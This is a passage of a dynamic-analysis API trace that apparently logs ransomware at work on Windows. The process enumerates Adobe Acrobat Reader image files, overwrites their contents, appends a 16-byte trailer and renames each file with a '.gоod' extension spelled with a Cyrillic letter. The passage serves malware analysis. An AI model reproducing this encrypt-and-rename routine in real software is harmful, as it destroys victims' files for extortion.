ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi_contrast", cAlternateFileName="HI_CON~1")) returned 1 [0103.630] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1185, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations.png", cAlternateFileName="ILLUST~2.PNG")) returned 1 [0103.630] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2890, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations_retina.png", cAlternateFileName="ILLUST~1.PNG")) returned 1 [0103.630] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ind_prog.gif", cAlternateFileName="")) returned 1 [0103.630] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="japanese_over.png", cAlternateFileName="JAPANE~1.PNG")) returned 1 [0103.631] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="large_trefoil.png", cAlternateFileName="LARGE_~1.PNG")) returned 1 [0103.631] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x10ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="large_trefoil_2x.png", cAlternateFileName="LARGE_~2.PNG")) returned 1 [0103.631] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1b2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo_retina.png", cAlternateFileName="LOGO_R~1.PNG")) returned 1 [0103.631] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x469, dwReserved0=0x0, dwReserved1=0x0, cFileName="progress-indeterminate.gif", cAlternateFileName="PROGRE~2.GIF")) returned 1 [0103.631] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee66f38b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x392e, dwReserved0=0x0, dwReserved1=0x0, cFileName="progress_spinner.gif", cAlternateFileName="PROGRE~1.GIF")) returned 1 [0103.631] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x927b, dwReserved0=0x0, dwReserved1=0x0, cFileName="progress_spinner2x.gif", cAlternateFileName="PROGRE~4.GIF")) returned 1 [0103.632] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2a30, dwReserved0=0x0, dwReserved1=0x0, cFileName="progress_spinner_dark.gif", cAlternateFileName="PROGRE~3.GIF")) returned 1 [0103.632] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6aa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="progress_spinner_dark2x.gif", cAlternateFileName="PRBC72~1.GIF")) returned 1 [0103.632] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="RHP_icons.png", cAlternateFileName="RHP_IC~1.PNG")) returned 1 [0103.632] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RHP_icons_2x.png", cAlternateFileName="RHP_IC~2.PNG")) returned 1 [0103.632] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-actions.png", cAlternateFileName="SELECT~2.PNG")) returned 1 [0103.633] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-actions2x.png", cAlternateFileName="SELECT~1.PNG")) returned 1 [0103.633] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0103.633] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win-scrollbar", cAlternateFileName="WIN-SC~1")) returned 1 [0103.633] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win8-scrollbar", cAlternateFileName="WIN8-S~1")) returned 1 [0103.633] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0103.633] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0103.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec5f0) returned 1 [0103.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec5b0) returned 1 [0103.634] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner.gif", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner.gif", lpFilePart=0x0) returned 0x6a [0103.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0103.634] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner.gif"), fInfoLevelId=0x0, lpFileInformation=0x328f368 | out: lpFileInformation=0x328f368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1a85)) returned 1 [0103.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0103.966] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner.gif", lpFilePart=0x0) returned 0x6a [0103.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0103.966] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0103.967] GetFileType (hFile=0x7c8) returned 0x1 [0103.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0103.967] GetFileType (hFile=0x7c8) returned 0x1 [0103.967] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x1000 [0103.967] ReadFile (in: hFile=0x7c8, lpBuffer=0x32cfe20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec488, lpOverlapped=0x0 | out: lpBuffer=0x32cfe20*, lpNumberOfBytesRead=0x1fdec488*=0xa85, lpOverlapped=0x0) returned 1 [0103.970] CloseHandle (hObject=0x7c8) returned 1 [0103.970] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner.gif", lpFilePart=0x0) returned 0x6a [0103.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0103.970] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0103.970] GetFileType (hFile=0x7c8) returned 0x1 [0103.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0103.970] GetFileType (hFile=0x7c8) returned 0x1 [0103.970] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x1a85 [0103.970] WriteFile (in: hFile=0x7c8, lpBuffer=0x32d1120*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdec3a8, lpOverlapped=0x0 | out: lpBuffer=0x32d1120*, lpNumberOfBytesWritten=0x1fdec3a8*=0x10, lpOverlapped=0x0) returned 1 [0103.971] CloseHandle (hObject=0x7c8) returned 1 [0103.971] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner.gif", lpFilePart=0x0) returned 0x6a [0103.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0103.971] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0103.971] GetFileType (hFile=0x7c8) returned 0x1 [0103.971] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0103.971] GetFileType (hFile=0x7c8) returned 0x1 [0103.971] ReadFile (in: hFile=0x7c8, lpBuffer=0x32d3428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec438, lpOverlapped=0x0 | out: lpBuffer=0x32d3428*, lpNumberOfBytesRead=0x1fdec438*=0x1000, lpOverlapped=0x0) returned 1 [0104.011] CloseHandle (hObject=0x7c8) returned 1 [0104.011] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner.gif", lpFilePart=0x0) returned 0x6a [0104.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0104.011] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0104.011] GetFileType (hFile=0x7c8) returned 0x1 [0104.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0104.011] GetFileType (hFile=0x7c8) returned 0x1 [0104.011] WriteFile (in: hFile=0x7c8, lpBuffer=0x32d2138*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdec4e8, lpOverlapped=0x0 | out: lpBuffer=0x32d2138*, lpNumberOfBytesWritten=0x1fdec4e8*=0x1010, lpOverlapped=0x0) returned 1 [0104.011] CloseHandle (hObject=0x7c8) returned 1 [0104.011] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner.gif", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner.gif", lpFilePart=0x0) returned 0x6a [0104.011] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner.gif.gоod", lpFilePart=0x0) returned 0x6f [0104.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0104.011] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a34732c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1a95)) returned 1 [0104.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0104.012] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner.gif.gоod")) returned 1 [0104.012] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_2x.gif", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_2x.gif", lpFilePart=0x0) returned 0x6d [0104.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0104.012] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner_2x.gif"), fInfoLevelId=0x0, lpFileInformation=0x334f938 | out: lpFileInformation=0x334f938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3b29)) returned 1 [0104.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0104.469] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_2x.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_2x.gif", lpFilePart=0x0) returned 0x6d [0104.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0104.469] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner_2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0104.469] GetFileType (hFile=0x6e0) returned 0x1 [0104.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0104.469] GetFileType (hFile=0x6e0) returned 0x1 [0104.469] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x1000 [0104.470] ReadFile (in: hFile=0x6e0, lpBuffer=0x33c3148, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec488, lpOverlapped=0x0 | out: lpBuffer=0x33c3148*, lpNumberOfBytesRead=0x1fdec488*=0x1000, lpOverlapped=0x0) returned 1 [0104.512] CloseHandle (hObject=0x6e0) returned 1 [0104.512] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_2x.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_2x.gif", lpFilePart=0x0) returned 0x6d [0104.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0104.512] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner_2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0104.512] GetFileType (hFile=0x6e0) returned 0x1 [0104.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0104.512] GetFileType (hFile=0x6e0) returned 0x1 [0104.512] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x3b29 [0104.513] WriteFile (in: hFile=0x6e0, lpBuffer=0x34455e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdec3a8, lpOverlapped=0x0 | out: lpBuffer=0x34455e8*, lpNumberOfBytesWritten=0x1fdec3a8*=0x10, lpOverlapped=0x0) returned 1 [0104.531] CloseHandle (hObject=0x6e0) returned 1 [0104.531] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_2x.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | 